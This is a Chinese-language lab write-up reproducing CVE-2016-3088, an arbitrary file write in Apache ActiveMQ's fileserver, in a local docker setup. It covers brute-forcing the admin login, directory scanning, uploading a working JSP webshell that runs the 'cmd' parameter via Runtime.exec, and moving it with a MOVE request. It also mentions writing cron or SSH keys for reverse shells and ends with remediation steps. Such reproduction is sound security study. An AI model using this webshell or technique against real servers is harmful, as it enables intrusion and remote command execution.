漏洞描述
- 编号:CVE-2016-3088
- 影响版本:Apache ActiveMQ 5.x~5.14.0,5.12.x~5.13.x版本默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启)
- CVE地址:CVE-2016-3088/
- 漏洞原理:Apache ActiveMQ的web控制台分了三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api需要登录才能使用,fileserver无需登录,因此漏洞就出在fileserver中,但是fileserver不解析jsp,不过支持移动文件(MOVE请求)写入一个文件到fileserver文件夹,然后使用MOVE移动到任意位置,造成任意文件写入漏洞
复现
环境
windows本机的docker环境
步骤
启动环境
docker-compose up -d
docker ps
8161是web页面,61616是业务处理
漏洞利用
文件写入的几种方法:
1、写入webshell(fileserver不解析jsp,admin和api两个应用需要登录才能访问)
2、写入cron或ssh key等文件(可直接反弹shell,方便,但需要权限足够)
3、写入jar或jetty.xml等库和配置文件(前者需要jar的后门,后者需要activemq的绝对路径)
尝试爆破管理员账号密码
抓包
根据Authorization: Basic YWRtaW46amtqa2pr base64解密得到账号密码是admin:jkjkjk
因此这里我自己新建了一个字典进行爆破目标字段,我用的是yakit,我的bur总出问题,麻烦,爆破过程不在赘述,事实证明是可以爆破出来的,这里可以参考这位大佬的博客
https://www.cnblogs.com/wushiyiwuzhong/p/17975730
解密得到账号密码为admin:admin
写入webshell
先登录进去方便后续操作
版本号可以看到,既然我们要上传webshell自然要知道路径和上传点,这里我们扫一下目录看看有没有相关信息
虽然没有扫完,但是已经扫出来了啊,/test目录
根目录在/opt/activemq下面,所以我们访问的目录是/opt/activemq/webapps/,上传的最终目录就是/opt/activemq/webapps/admin(aqi)
抓包改包上传jsp
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
上传成功,接下来将该目录移动到api目录下,也可以到admin只要能解析就行,现在就要用到/opt/activemq/webapps/admin/路径了
修复
- 升级至 5.14.0 及其以后版本
- 移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能
- 打补丁